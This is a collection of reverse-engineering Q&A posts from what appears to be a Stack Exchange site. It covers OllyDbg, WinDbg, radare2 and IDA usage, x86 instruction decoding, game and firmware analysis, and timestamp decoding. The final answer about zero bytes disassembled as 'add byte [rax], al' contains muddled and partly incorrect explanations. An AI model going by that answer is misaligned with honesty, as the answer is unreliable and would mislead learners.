    \n\n

    I pressed on Follow expression and it put me on the definition of the function on the WinHttp module:
    \n\"enter

    \n\n

    I wanted to find the place where the main module of the program is calling this function and not the definition.

    \n\n

    I put a breakpoint there and after the program stopped there I tried to use the Go to -> Previous location\\procedure so see the calling to this function from the program but it send me to different places.

    \n\n

    Any idea how can I find the places where the program is calling to a specific function, in my case WinHttpOpenRequest ?

    \n\n

    I have a workaround and use IDA to find the exact place, but I am sure OllyDbg has this ability and I just not familiar with it.

    \n", "Title": "Find function's caller locations", "Tags": "|ollydbg|debugging|", "Answer": "

    viewing previous procdures does not imply previous callers to view previous callers you need to look at the stack if you are executing the binary

    \n\n

    use ctrl+k
    \nbtw winhttp uses com so it would be convoluted indirect access on vtables over activex object

    \n\n

    it is not clear if you are executing the binary but just disassembling and trying to look at the references since you mention you have a workaround in ida

    \n\n

    i presume you are meaning the xrefs in ida

    \n\n

    if that is the case then ollydbg shows those references when you
    \nanalyze the winhttp.dll ctrl+a \nif you had analyzed the winhttp and used ctrl+g to go to the api

    \n\n

    you will see a small pane between cpu window and dump window stating local calls from if you double click it you will see all the references to the present call

    \n\n

    \"enter

    \n" }, { "Id": "17446", "CreationDate": "2018-02-12T16:31:30.740", "Body": "

    I've got a crash dump, the application definitely crash in JIT optimized assembler code. I know the start address of the method. How do I find its name using using Windbg and SOS extension?

    \n\n

    Currently I'm just exploring each assembly in the domain, then in each assembly I dump all modules, then in each module I dump method tables hoping that some method address will be equal to the method I search. And it takes me eternity...

    \n", "Title": "How to find the name of the method in Managed Code using Windbg and SOS?", "Tags": "|windbg|.net|", "Answer": "

    You can use the ip2md sos command to get the method name for jitted code.

    \n\n
    0:016> k\n # Child-SP          RetAddr           Call Site\n00 00000000`013fe688 00007ffb`4567ddb8 win32u!NtUserWaitMessage+0x14\n01 00000000`013fe690 00007ffb`45611535 System_Windows_Forms_ni+0x2cddb8\n\n\n0:016> !ip2md 00007ffb`45611535 \nMethodDesc:   00007ffb454a25e8\nMethod Name:  System.Windows.Forms.Application+ComponentManager.System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FPushMessageLoop(IntPtr, Int32, Int32)\nClass:        00007ffb4540c9f8\nMethodTable:  00007ffb45743f78\nmdToken:      00000000060052f3\nModule:       00007ffb453b1000\nIsJitted:     yes\nCodeAddr:     00007ffb45610fd0\nTransparency: Safe critical\n
    \n" }, { "Id": "17452", "CreationDate": "2018-02-13T02:01:26.017", "Body": "

    I have a binary which is playing a Morse code using calls to Beep & Sleep.

    \n\n

    This file is Windows PE32 exe which I open via Wine on my Ubuntu (16.04).

    \n\n

    How can I extract the arguments which passed to Sleep or Beep whenever is been invoked ?

    \n\n

    Ideal result will be to open the file from terminal and each time Sleep is called it will log

    \n\n
      \n
    • Sleep ( Milliseconds )
      • \n
    • Beep ( Frequency , Duration )
      • \n
    \n\n

    The binary is packed & obfuscated, can I edit the Kernel32.dll & extend those methods ?

    \n\n
      \n
    • Can I use strace ? if so, how do I filter Sleep & Beep ?
      • \n
    \n", "Title": "hooking sleep & beep syscalls", "Tags": "|function-hooking|system-call|wine|", "Answer": "

    If you're using Wine, you just need to enable the trace. Do the following:

    \n\n
    $ WINEDEBUG=\"trace+msvcrt\" wine your_binary.exe\n
    \n\n

    Taking a look to the Wine's source code I verified that both Sleep and Beep are being traced.

    \n\n

    Beep:

    \n\n
    void CDECL MSVCRT__beep( unsigned int freq, unsigned int duration)\n{\n    TRACE(\":Freq %d, Duration %d\\n\",freq,duration);\n    Beep(freq, duration);\n}\n
    \n\n

    Sleep:

    \n\n
    void CDECL MSVCRT__sleep(MSVCRT_ulong timeout)\n{\n  TRACE(\"_sleep for %d milliseconds\\n\",timeout);\n  Sleep((timeout)?timeout:1);\n}\n
    \n\n

    Naturally, you will need to filter out many other messages. Simply doing \"grep -v\" should be enough.

    \n" }, { "Id": "17466", "CreationDate": "2018-02-14T15:55:15.880", "Body": "

    I'm just learning to use IDA and according to the book, when using Search function (Search>text..., for example) I should see a window with the found results, like this:\n\"screenshot

    \n\n

    However, when the search is over, if something is found, I only see in the bottom Search completed text and if I scroll the IDA View-A window, I can see that the text is highlighted. Text string gethostbyname was searched here:\n\"screenshot\nI cannot see all the instances at the same time as expected.

    \n\n

    The version I use is IDA 5.0, free version; it's the same version that the book was based on. How can I get the results to show?

    \n", "Title": "IDA search results not showing up in a separate window", "Tags": "|ida|static-analysis|", "Answer": "

    you may need to check the checkmark find all occurances
    \nelse ida stops when it finds the first occurance and the window doesnt open up

    \n\n

    \"enter

    \n" }, { "Id": "17473", "CreationDate": "2018-02-15T04:16:26.077", "Body": "

    In the following code snippet, the EB F2 instruction is causing execution to jump back up to the line indicated by the arrow. How is this the case given that there is no address supplied to EB and the jmp is less than F2 away in terms of address distance?\"enter These two locations are 0xC from each other.

    \n", "Title": "How does this EB F2 x86 instruction work?", "Tags": "|disassembly|assembly|x86|x64dbg|", "Answer": "

    from google starmans realm

    \n\n

    quoting relevant info

    \n\n
    These are also known as SHORT Relative Jumps. Programs using only Relative    \nJump  instructions can be relocated anywhere in memory without having to     \nchange the    machine code for the Jumps. The first byte of a SHORT Jump is    \nalways EB and the    second is a relative offset from 00h to 7Fh for Forward    \njumps, and from 80h to    FFh for Reverse (or Backward) jumps. [Note: The    \noffset count always begins at    the byte immediately after the JMP    \ninstruction for any type of Relative Jump!] \n
    \n\n

    so eb 01 to eb 7f jumps forward
    \neb fe to eb 80 jumpf backward

    \n\n

    so current instruction is at 0x172b066 adding the opcode length 2 the current instruction ends at xxxx68 or the next instruction starts at 0xxxxx68 \n0xf2 == -0xe (read about twos complement notation)

    \n\n

    0xxxxx68 - 0xe = 0xxxxx5A

    \n" }, { "Id": "17485", "CreationDate": "2018-02-17T08:43:03.140", "Body": "

    I'm trying to understand how function calls are represented in Hex Rays' pseudocode, especially if the call expects pointers to objects.

    \n\n

    Let's say I'm looking at a line of code in a function called MyObject1::Start():

    \n\n

    MyObject2::doSomething(*((_DWORD *)this + 38), (char *)this + 104);

    \n\n

    Does this mean, it calls the function doSomething of MyObject2 and passes two references to members of MyObject1 as arguments?

    \n\n

    If that's the case, how can I identify these passed members? E.g. what's meant by \"this + 38\"?

    \n", "Title": "Object references representation in pseudocode", "Tags": "|ida|decompilation|c++|", "Answer": "

    this+38 and this+104 are most likely data members of the current object.

    \n\n

    You can figure out what they mean by looking up the context in which they are used.
    \nTake this code for example

    \n\n
    int a;\nfor(int i = 0;i < strlen(this+38); i++){\n   if((this+38)[i] == 'a'){\n      a++\n   }\n}\n
    \n\n

    To figure out what's a, you need to see in what context it is used. Here you can clearly see that a is being incremented every time the character 'a' appears in (this+38), from that you can infer that (this+38) is a char array and that a variable counts how many 'a' appear in this+38 (string)

    \n" }, { "Id": "17487", "CreationDate": "2018-02-17T19:07:38.580", "Body": "

    In a huge ELF binary, I find some functions which use some kind of (string) constant. The constant itself seems to be stored inside the binary itself but I can't figure out, how to resolve IDA's disassembly result:

    \n\n
    .text:096B3D58 lea     eax, (stru_8199A2C.st_shndx+1 - 96B3D47h)[ebx]\n.text:096B3D5E push    eax             ; char *\n.text:096B3D5F push    edx             ; this\n.text:096B3D60 call    _ZN11NameDB7resolveEPKc ; NameDB::resolve(char const*)\n
    \n\n

    My problem is to understand the source of the LEA instruction. For me it reads like \"the symbol at 0x96B3D47 bytes prior to the symbol table index\". Strangely enough, the position 096B3D47 is just a few lines above the above excerpt...

    \n", "Title": "How to find ELF symbol table reference?", "Tags": "|ida|elf|symbols|", "Answer": "
    \n

    Strangely enough, the position 096B3D47 is just a few lines above the above excerpt...

    \n
    \n\n

    ... and the instruction before that address is a call instruction. Right?

    \n\n

    This kind of instructions is used for position-independend code: The code can be loaded into another address and it will work the same way without modifications. Typically it works like this:

    \n\n
        call some_address                         ; 1\nsome_address:\n    pop ebx                                   ; 2\n    lea eax, (some_text - some_address)[ebx]  ; 3\n    ...\nsome_text:\n    ...\n
    \n\n
      \n
    1. After the call instruction the address of the instruction after the call instruction will have been pushed to the stack. This means that the address some_address is now on the stack.
      2. \n
    2. Using pop we read the address of some_address from the stack (and remove it from there).
      3. \n
    3. This instruction will calculate some_text - some_address + someaddress so the instruction has the same effect as lea eax, [some_text].
      4. \n
    \n\n

    The distance some_text - some_address is always the same when the executable file is loaded into different memory addresses. Therefore the lea instruction will work independently on the location (address) where the program is executed.

    \n\n

    The same is true for the call instruction because the argument of the call instruction is stored PC-relative.

    \n\n

    The argument of the instruction lea eax, [some_text] however would be an absolute (not a PC-relative) address so you would have to exchange it when executing the program at another address.

    \n\n
    \n

    For me it reads like \"the symbol at 0x96B3D47 bytes prior to the symbol table index\".

    \n
    \n\n

    If there is a relocation table entry for the lea instruction the disassembler could take the information from the relocation table.

    \n\n

    In your case this seems to be different:

    \n\n

    Your disassembler seems also to be intelligent enough to see that ebx contains the address 096B3D47 at this point. Therefore it will know that the instruction lea eax, XYZ[ebx] will result in a value of 096B3D47+XYZ in the eax register.

    \n\n

    Therefore it will disassemble the instruction as lea eax, ((XYZ+096B3D47)-096B3D47)[ebx] and tries to find out what symbol the address XYZ+096B3D47 is.

    \n\n

    Many disassemblers I know however only guess here; they assume that the address belongs to the last symbol before that address. And in your case the symbol stru_8199A2C.st_shndx seems to be that symbol.

    \n\n

    Obviously your disassembler does not only evaluate symbols but also debugging information such as \"Dwarf\" debugging data (which contains information used by debuggers).

    \n" }, { "Id": "17490", "CreationDate": "2018-02-18T21:17:47.107", "Body": "

    I've been working on a project on an IBM POWER8 system. I'd like to translate some very simple binaries from x86-64 to PPC.

    \n\n

    Is there a tool that can either:

    \n\n
      \n
    1. Translate the binary from x86-64 to PPC (similar to how Apple Rosetta did PPC to x86-64)
      2. \n
    2. Decompile the x86-64 binary into C code (doesn't need to be human readable) so that I can recompile it on a PPC system
      3. \n
    \n\n

    I'd love to know if there's any other way to get that done as well.

    \n\n

    EDIT: Also, I'm not comfortable using commercial software, but am okay with closed-source.

    \n\n

    Thanks!

    \n", "Title": "Tools to translate x86-64 ELF to PPC (or i386 decompilation)", "Tags": "|disassembly|decompilation|disassemblers|decompiler|", "Answer": "

    For 1, there is QEMU which can be built for PPC and supports i386 and x86-64 emulation. If you run Linux, there may already be a precompiled package available for your distro.

    \n\n

    For 2, there are some decompilers which can produce C pseudocode from x86-64 binaries. Alternatively, tools like McSema can perform lifting to LLVM bitcode which can then be recompiled to PPC (in theory).

    \n" }, { "Id": "17491", "CreationDate": "2018-02-18T21:22:59.237", "Body": "

    While reverse engineering a game using the Hex Rays decompiler I was looking for how an array of NPC's was accessed. I found the array but I don't quite understand the unusual formula for getting the index of the NPC. First an integer is & with 0xFFF then the result is multiplied by 4 to get the index.

    \n\n

    Example:

    \n\n
    dword_1F4A8A5C[4 * (v3 & 0xFFF)]\n
    \n\n

    I'm really not sure if this is standard or if it's weird output from the Hex Rays decompiler. If anyone has an explanation please let me know. Thanks.

    \n", "Title": "Odd convention for accessing elements of an array?", "Tags": "|ida|c++|c|hexrays|array|", "Answer": "

    It looks like that it is array of structures, where v3 is an index and 0xfff is used to avoid overflow.\nI'd suggest that the array was originally defined with size 0x1000. The size of a structure should be 4 dwords.

    \n" }, { "Id": "17499", "CreationDate": "2018-02-19T17:14:42.190", "Body": "

    I am looking for a good \"disassembler\" for JavaScript, like IDA Pro but for JS. I am looking at a chrome extension, but the JavaScript is heavily obfuscated. After deobfuscating, I am left with variable and function names like \"_0xa893x5\". This is using jsbeautifier.org; other deobfuscators give error. This unintuitive syntax makes it more than a little different to follow the program; is there a tool like IDA for Javascript where I can graphically trace the flow of the program from function to function?\nThanks!

    \n", "Title": "IDA Pro Alternative for JavaScript?", "Tags": "|javascript|", "Answer": "

    Have a look at https://github.com/scottrogowski/code2flow for generating callgraphs.

    \n\n
    \n

    Turn your Python and Javascript source code into DOT flowcharts

    \n \n

    Code2flow will sweep through your project source code looking for\n function definitions. Then it will do another sweep looking for where\n those functions are called. Code2flow connects the dots and presents\n you with a flowchart estimating the functional structure of your\n program.

    \n \n

    In other words, code2flow generates callgraphs

    \n
    \n\n

    \"enter

    \n" }, { "Id": "17504", "CreationDate": "2018-02-20T15:10:02.640", "Body": "

    ive started studying reverse engineering, and in a binary i am trying to reverse i stumbled upon an unusual(to me) line of assembly in IDA PRO. and it looks like this

    \n\n
    .text:00000000008A1C21                 mov     r8d, ds:(off_8A40FC - 400000h)[rcx+rax*4]\n
    \n\n

    so i know that it moves something into the r8 register which is the size of a dword, but i do not understand what it moves into it ? something from the data segment, but im clueless as of how to interpret it, any help would be great.

    \n", "Title": "What does this line of assembly do ? how am i to interpret it?", "Tags": "|assembly|", "Answer": "

    What the assembly is doing is subtracting 0x400000 from the offset 0x8A40FC giving 0x4A40FC, then using the new address at memory address [rcx+rax*4]. I recommend studying the assembly more, this is a bad question as its not giving full detail on what rcx, and rax is.

    \n\n

    Happy hacking! :-)

    \n" }, { "Id": "17517", "CreationDate": "2018-02-22T18:54:32.230", "Body": "

    If I run pd I get something like this,

    \n\n
    [0x00400540]> pd @ main + 4\n            0x0040064a      4883ec20       sub rsp, 0x20\n            0x0040064e      897dec         mov dword [rbp - 0x14], edi\n            0x00400651      488975e0       mov qword [rbp - 0x20], rsi\n            0x00400655      837dec01       cmp dword [rbp - 0x14], 1   ; [0x1:4]=-1 ; 1\n        ,=< 0x00400659      7f11           jg 0x40066c\n        |   0x0040065b      bf70074000     mov edi, str.Usage_echo__string ; 0x400770 ; \"Usage echo <string>\"\n        |   0x00400660      e89bfeffff     call sym.imp.puts\n        |   0x00400665      b800000000     mov eax, 0\n       ,==< 0x0040066a      eb64           jmp 0x4006d0\n       |`-> 0x0040066c      488b45e0       mov rax, qword [rbp - 0x20]\n
    \n\n

    Generally speaking the lines that show where the jumps are going on the left are awesome. But for the purpose of copying and pasting not so much. How can I disable them? Or how can I hide those lines? I tried a few different things but no luck.

    \n", "Title": "Radare using `pd` without the call graph lines?", "Tags": "|radare2|", "Answer": "

    well pawel beat me but this shows how to strip some more noise

    \n\n
    C:\\Windows\\system32>radare2  calc.exe\n[0x01012d6c]> af\n[0x01012d6c]> pd 10 @ $$+0x4b\n|       ,=< 0x01012db7      0f8538b00100   jne 0x102ddf5\n|       |   0x01012dbd      33f6           xor esi, esi\n|       |   0x01012dbf      46             inc esi\n|       |      ; JMP XREF from 0x0102ddfe (entry0)\n|       |   0x01012dc0      a194410501     mov eax, dword [0x1054194]  ; [0x1054194:4]=0\n|       |   0x01012dc5      3bc6           cmp eax, esi\n|      ,==< 0x01012dc7      0f8446b00100   je 0x102de13\n|      ||   0x01012dcd      a194410501     mov eax, dword [0x1054194]  ; [0x1054194:4]=0\n|      ||   0x01012dd2      85c0           test eax, eax\n|     ,===< 0x01012dd4      0f85e54e0000   jne 0x1017cbf\n|     |||   0x01012dda      893594410501   mov dword [0x1054194], esi  ; [0x1054194:4]=0\n\n\n[0x01012d6c]> e asm.lines=false <<<<<<<<<<<<<<<\n[0x01012d6c]> e asm.comments =false <<<<<<<<<<<\n[0x01012d6c]> e asm.cmtright =false <<<<<<<<<<<<<<\n[0x01012d6c]> e asm.fcnlines =false <<<<<<<<<<<<<\n\n\n[0x01012d6c]> pd 10 @ $$+0x4b\n0x01012db7      0f8538b00100   jne 0x102ddf5\n0x01012dbd      33f6           xor esi, esi\n0x01012dbf      46             inc esi\n0x01012dc0      a194410501     mov eax, dword [0x1054194]\n0x01012dc5      3bc6           cmp eax, esi\n0x01012dc7      0f8446b00100   je 0x102de13\n0x01012dcd      a194410501     mov eax, dword [0x1054194]\n0x01012dd2      85c0           test eax, eax\n0x01012dd4      0f85e54e0000   jne 0x1017cbf\n0x01012dda      893594410501   mov dword [0x1054194], esi\n[0x01012d6c]\n
    \n\n

    and to remove the bytes use e asm.bytes = false

    \n" }, { "Id": "17521", "CreationDate": "2018-02-22T23:15:50.710", "Body": "

    I have been trying to reverse a singleplayer x64 game to learn about reversing games. My problem is that I am trying to trace the arguments from a D3D11CreateDeviceAndSwapchain call and as far as I know the first 4 arguments should be stored in the registers rcx, rdx, r8 and r9 and the rest should be pushed to the stack ontop of the shadow area of the stack.

    \n\n

    Looking at the assembly I am posting below from IDA, it only pushes something far beyond the shadow area and the data does not seem to have anything to do with the call at all. So im wondering if DirectX calls are different somehow? Or am I simply just looking in the wrong place?

    \n\n
    .text:000000000143269B lea     rax, [rsp+218h+arg_0]\n.text:00000000014326A3 lea     rbp, [rdi+0CA8h]\n.text:00000000014326AA xor     r8d, r8d\n.text:00000000014326AD mov     [rsp+218h+var_1C0], rax\n.text:00000000014326B2 mov     [rsp+218h+var_1C8], rbp\n.text:00000000014326B7 lea     rax, [rsp+218h+arg_10]\n.text:00000000014326BF mov     [rsp+218h+var_1D0], rax\n.text:00000000014326C4 lea     rax, [rsp+228h]\n.text:00000000014326CC mov     [rsp+218h+var_1D8], rax\n.text:00000000014326D1 mov     [rsp+218h+var_1E0], rsi\n.text:00000000014326D6 mov     dword ptr [rsp+218h+var_1E8], 7\n.text:00000000014326DE mov     dword ptr [rsp+218h+var_1F0], r15d\n.text:00000000014326E3 mov     [rsp+218h+var_1F8], r15\n.text:00000000014326E8 call    D3D11CreateDeviceAndSwapChain\n
    \n", "Title": "Where are the arguments to this D3D11CreateDeviceAndSwapchain call stored in x64?", "Tags": "|ida|windows|assembly|", "Answer": "

    The API D3D11CreateDeviceAndSwapChain function in question takes 12 arguments
    \nFrom your disassembly find out what var_1c0 etc is defined as ( i would presume it is -0x1c0 )

    \n\n

    so (218 + (-0x1c0 and so on it would be ) = 58 , 50 , 48 , 40 , 38, 30 ,28 ,20,r9,r8,rdx,rcx) etc etc

    \n\n

    you can see pub const D3D11_SDK_VERSION: DWORD = 7 at 1e8 = (218-1e8)/8 = 30 \nwhich is the 7th argument according to the documentation

    \n\n
    HRESULT D3D11CreateDeviceAndSwapChain(\n  _In_opt_        IDXGIAdapter         *pAdapter,  ==== rcx\n                  D3D_DRIVER_TYPE      DriverType,  ==== rdx\n                  HMODULE              Software,    ==== r8\n                  UINT                 Flags,       ==== r9 \n  _In_opt_  const D3D_FEATURE_LEVEL    *pFeatureLevels, ==== 1f8 == 20\n                  UINT                 FeatureLevels,   ===== 1f0 == 28\n                  UINT                 SDKVersion, <<<<<< == 7 ===1e8 == 30\n  _In_opt_  const DXGI_SWAP_CHAIN_DESC *pSwapChainDesc,\n  _Out_opt_       IDXGISwapChain       **ppSwapChain,\n  _Out_opt_       ID3D11Device         **ppDevice,\n  _Out_opt_       D3D_FEATURE_LEVEL    *pFeatureLevel,\n  _Out_opt_       ID3D11DeviceContext  **ppImmediateContext\n);\n
    \n\n
    \n" }, { "Id": "17522", "CreationDate": "2018-02-23T00:47:13.740", "Body": "

    The Radare book says

    \n\n
    \n

    Use F7 or s to step into and F8 or S to step over current instruction.

    \n
    \n\n

    But, I don't see it telling you how to do this with the d command. When I run d? I see

    \n\n
    ds[?]                   Step, over, source line\ndc[?]                   Continue execution\n
    \n", "Title": "Commands to step into and step over, outside of visual pane mode", "Tags": "|debugging|radare2|", "Answer": "

    I did't find this to be too intuitive, but the answer is ds. Now it makes sense though: ds expands to a bunch of stuff,

    \n\n
    [0x55673eccb5fa]> ds?\n|Usage: ds Step commands\n| ds               Step one instruction\n| ds <num>         Step <num> instructions\n| dsb              Step back one instruction\n| dsf              Step until end of frame\n| dsi <cond>       Continue until condition matches\n| dsl              Step one source line\n| dsl <num>        Step <num> source lines\n| dso <num>        Step over <num> instructions\n| dsp              Step into program (skip libs)\n| dss <num>        Skip <num> step instructions\n| dsu[?]<address>  Step until address\n| dsui[r] <instr>  Step until an instruction that matches `instr`, use dsuir for regex match\n| dsue <esil>      Step until esil expression matches\n| dsuf <flag>      Step until pc == flag matching name\n
    \n\n

    While really cool, there are a tons of ways to step and they're all organized under ds.

    \n\n
      \n
    • F7 is step into, or ds
      • \n
    • F8 is step over, or dso
      • \n
    \n" }, { "Id": "17529", "CreationDate": "2018-02-24T02:03:55.553", "Body": "

    I am working through the educational \"bomb.exe\" file where you must defuse the bomb by entering the correct inputs. This can only be accomplished by reversing the executable file. There are no hints when the file is run.

    \n\n

    I came across these two random jump instructions which appear to be inserted out of the flow of the program. What is the reason for their existence? Is this a byproduct of an unoptimized compilation? If they're there on purpose then which instruction points to these?

    \n\n

    \"Mysterious\n\"Entire

    \n\n

    Appreciate any help!

    \n\n

    Looking at the \"flat\" view it appears that they are not called from anywhere. Could these jumps be sites of malicious code injections if someone had bad intentions? It seems that if they are connected to a proper flow the injected code would go unnoticed at first glance. If I should open another thread for this question I can do that too.

    \n\n

    \"Flat

    \n", "Title": "Instruction without \"apparent\" previous instruction", "Tags": "|ida|x86|", "Answer": "

    The flat view makes it obvious: the \"hanging\" jumps are part of the function but IDA detected that they are not reachable because the function calls preceding them (exit and bombExplodes) do not return. If you really want to see the jumps in a \"proper\" graph, you can clear no-returning flag from those functions, but it will be somewhat artificial since those instructions are not reachable in normal execution flow.

    \n" }, { "Id": "17530", "CreationDate": "2018-02-24T12:00:42.523", "Body": "

    I'd like to ask your help to understand the algorithm used to encrypt these hex/bin firmware (for an ARM-Cortex M4 microcontroller).

    \n\n

    In the tar file above you can find different firmware versions. \nIn particular, the V16 version has been released encrypted, plain and also an encrypted TE version (I don't know what does TE mean).

    \n\n

    It has been a while since I started to analyze these files (I also asked another question here in the past) but, so far, I didn't find the solution.\nI tried to invert the bytes, swap the nibbles, xor but no luck.

    \n\n

    As you can see, the encrypted version is 276 bytes longer than the plain. I expect that in those bytes are defined the header/footer and the key sections used by the bootloader to decrypt the binary before flashing.

    \n\n

    Personally I think that a simple algorithm has been used (something like Salsa20 or ChaCha), nothing complicated (SHA, etc.).\nThank you.

    \n", "Title": "Binary encryption", "Tags": "|arm|encryption|binary|", "Answer": "

    In fact, I doubt that they use Salsa20 on this firmware file... Let me just first explain what is my method to investigate such cases. For the rest, I will mainly use the binwalk tool.

    \n\n
      \n

    1. What I do first is to evaluate the global entropy of the file. This is a very quick way to evaluate if we are looking at encryption or not.

      \n\n
      binwalk -E firmware.bin\n
      \n\n

      For the example, I encrypted a file with Salsa20 (filled only with ABCDEFGHIJKLMNOPQRSTUVWXYZ strings). I got the following result:

      \n\n

      \"Entropy

      \n\n

      Note that the obtained entropy is close to 1, which is exactly what is desired when we use any encryption algorithm.

      2. \n

    2. The second step in my process is to try to get two successive versions of the firmware and analyze the differences. It is amazing what you can learn from looking at the differences between two files. So, for the example I encrypted the string ABCDEFGHIJKLMNOPQRSTUVWXYZ repeated several times in the first file and the same in the second file execpt for the first string where I replaced the N of the first string by a Z.

      \n\n
      binwalk -W firmware-1.bin firmware-2.bin\n
      \n\n

      \"Differences

      \n\n

      As you may noticed, Salsa20 is a stream cipher, so I modified one byte and, then, only one byte is modified.

      \n\n

      In fact, the differences between two versions of the firmware will give you information about the block size of the encryption algorithm and its mode (such as ECB, CBC or others). Once you have this, you may discard some algorithms or target the most probable ones.

      3. \n

    3. Once you gathered all these information, there are no real rule of thumb. Be creative and try to deduce the more you can with what you have and make some good and intuitive assumptions.

      4. \n
    \n\n

    Now, lets go back to you firmware. I took ZPK0J020_V16_20161206_AP-D7D1.hex and ZPK0J020_V17_20170310_AP-1E6A.hex. And, I applied the method I described previously.

    \n\n

    First, the difference between the two versions of the firmware is not against the assumption of Salsa20, but the entropy is way too low to be a strong encryption as Salsa20.

    \n\n

    \"Entropy

    \n\n

    My conclusion is that the encryption of these firmware files is probably something weak. I would go for a xor-encryption or something similar. But, I did not investigate further as I think I disqualified Salsa20 and answered to your question. It is up to you to dig a bit now!

    \n" }, { "Id": "17542", "CreationDate": "2018-02-26T14:31:10.107", "Body": "

    I am trying to decode this hex timestamp:

    \n\n
    5A24 B103 73AE --> 02/26/2018 15:45:44 \n5A24 FC03 83BC --> 02/26/2018 17:00:48\n5A24 FE03 93E3 --> 02/26/2018 17:02:58\n
    \n\n

    Data is coming from an old controller serial protocol. The proprietary software shows the \"controller time in hex\" and converts it in the value showed.

    \n\n

    How do you approach this problem?

    \n", "Title": "Hex timestamp decode", "Tags": "|hex|serial-communication|", "Answer": "
    import sys\nimport os\n\nif(len(sys.argv) != 2):     \n    sys.exit(\"usage %s 0xdead\" % os.path.basename(sys.argv[0]))\n\nif((sys.argv[1].startswith(\"0x\")!=True) or (len(sys.argv[1])!=6 )):\n    sys.exit(\"0x prefixed hexinput must be in range 0x0000 to 0xffff padded to 4 digits\")\n\nindate = int(sys.argv[1],16)\n\nyear   =  str(((indate & 0xfe00) >> 9) + 2000)\nmonth  =  str((indate & 0x01e0) >> 5)\nday    =  str((indate & 0x001f) >> 0)\nsep    =  \"/\"\n\nprint \"The date is in MSDOS DATE FORMAT\"\nprint \"y2k-fixed year9to15 bits month 5t08bits and day 0to5 bits\"\nprint (day+sep+month+sep+year)\n
    \n\n

    0x245a as input

    \n\n
    :\\>python msdosdate.py 0x245a\nThe date is in MSDOS DATE FORMAT\ny2k-fixed year9to15 bits month 5t08bits and day 0to5 bits\n26/2/2018\n
    \n\n

    Edited a complete script that takes all the three short ints

    \n\n
    :>cat makedatetime.py\nimport sys\nif(len(sys.argv) != 4):\n    sys.exit(\"usage python thisscript.py 1337 dead d00d\")\nfor i in range(1,4,1):\n    if(len(sys.argv[i]) != 4):\n        sys.exit(\"enter unsigned short integer of type 'H' in hex \\n\"\n                \"like dead d00d 1337 babe etc duly padded to 4 digits\")\nindate      = int(sys.argv[1],16)\ninminute    = int(sys.argv[2],16)\ninseconds   = int(sys.argv[3],16)\nyear        = str(((indate &0xfe00) >> 9)+2000)\nmonth       = str(((indate &0x01e0) >> 5)+0000)\nday         = str(((indate &0x001f) >> 0)+0000)\nhours       = str(inminute/60)\nminutes     = str(inminute%60)\nseconds     = str(inseconds/1000)\nmillisecs   = str(inseconds%1000)\n\n\nprint(month+\"/\"+day+\"/\"+year+\" \"+hours+\":\"+minutes+\":\"+seconds+\":\"+millisecs)\n:>python makedatetime.py 245A 03B1 AE73\n2/26/2018 15:45:44:659\n\n:>python makedatetime.py 245A 03FC BC83\n2/26/2018 17:0:48:259\n\n:>python makedatetime.py 245A 03FE E393\n2/26/2018 17:2:58:259\n
    \n" }, { "Id": "17548", "CreationDate": "2018-02-26T21:33:50.530", "Body": "

    i'm actually quite new to IDApython programing and i'm trying to get, for a \"switch-case\" jump table, the list of basic blocks for a given value of the case.

    \n\n

    While experimenting, i was trying to access the switch-case table using the following code as following the official documentation.

    \n\n
    import idautils\nimport idaapi\nimport idc\n\nmyfunc=0\njump_table = dict()\nswitch_map = {}\n\nfor func in idautils.Functions():\n    if 'Myfunction_name' == idc.GetFunctionName(func):\n        print 'function found'\n        myfunc = func\n        break\n\nfor (startea, endea) in Chunks(myfunc):\n    for head in Heads(startea, endea):\n        switch_info = idaapi.get_switch_info_ex(head)\n        if switch_info != None:\n            num_cases = switch_info.get_jtable_size()\n            if num_cases == 148:\n                print 'good jump table found'\n                results = idaapi.calc_switch_cases(head, switch_info)\n                for idx in xrange(results.cases.size()):\n                    cur_case = results.cases[idx]\n                    \"\"\"\n         --->       #can't use the following\n\n           -->      for cidx in xrange(len(cur_case)):\n           -->          print \"case: %d\" % cur_case[cidx]\n                    \"\"\"\n                    print \"  goto 0x%x\" % results.targets[idx]\n                #for cidx in xrange(cur_case.size()):\n                print cur_case\n                print \"  goto 0x%x\" % results.targets[idx]\n            else:\n                continue\n        else:\n            continue\n
    \n\n

    Unfortunately, i am not able to access correctly the cases values, as shown by the arrows in the code. Indeed, the \"cur_case\" object is a PySwigObject, which is not iterable.

    \n\n

    Any idea on how to get that code to work? (notes : i'm using IDA 64 bits)

    \n\n

    thanks in advance!

    \n", "Title": "calc_switch_cases() in IDApython, can't iterate over results", "Tags": "|ida|idapython|", "Answer": "

    OK, my bad... I was actually using IDA 6.8, and the API for this version does not create iterable Objects.

    \n\n

    Using IDA 7 solved the problem.

    \n" }, { "Id": "17555", "CreationDate": "2018-02-28T00:30:46.913", "Body": "

    What does a bunch of add byte [rax], al mean? I see a lot of memory addressing point to specific parts of the shared library (.dll) that have for instance, this...

    \n\n
      0x10064faf8      0000           add byte [rax], al\n  0x10064fafa      0000           add byte [rax], al\n  0x10064fafc      0000           add byte [rax], al\n  0x10064fafe      0000           add byte [rax], al\n     ; XREFS: DATA 0x10041db20  DATA 0x100545d2c  DATA 0x100546999  DATA 0x1005469b0  DATA 0x100549de0  DATA 0x100549e00  \n  0x10064fb00      0000           add byte [rax], al\n  0x10064fb02      0000           add byte [rax], al\n  0x10064fb04      0000           add byte [rax], al\n  0x10064fb06      0000           add byte [rax], al\n
    \n\n

    What is that supposed to indicate to me when I see it? Do those spaces get rewritten or something when the dll is loaded into memory?

    \n", "Title": "Radare produces a bunch of `add byte [rax], al`, but why?", "Tags": "|disassembly|radare2|disassemblers|", "Answer": "
    add byte [eax], al \n
    \n\n

    This instruction is falsly and accidentally blind-translated by disassemblers that don't distinguish between stored buffer/void spans and code segs, to explain what happens here you can refer to this blog section:

    \n\n

    ADD has an opcode equal to 0000(h)=00000000 0000 0000(2) where the two last flagbits {d,s} of the command opcode are not set which indicates an addition from a register to an R/M field, s stands for size of transfer that is 8 bites = 2bytes.

    \n\n

    The second operand denotes an addition of reg value to local address in EAX, in 32 bits intel ASM, it is encoded 00(h) for the reg AL, I don't know about 86/64x architectures but i guess it's same. Thus you see, mere coincidence.

    \n\n

    Void spans are also a case where the program reserves extraspace to store imported DLL functions' entrypoints for locally invoked labels, local constants/strings, or between chunks of any forms of dispersed data.

    \n\n

    These types of 0' spans can be frequently remarked in polymophic programs that dump themselves differently in RAM after each execution instance, where they often change their relative EP's and function call addresses in an evasive way against unpackers and any form of code tracking.

    \n\n

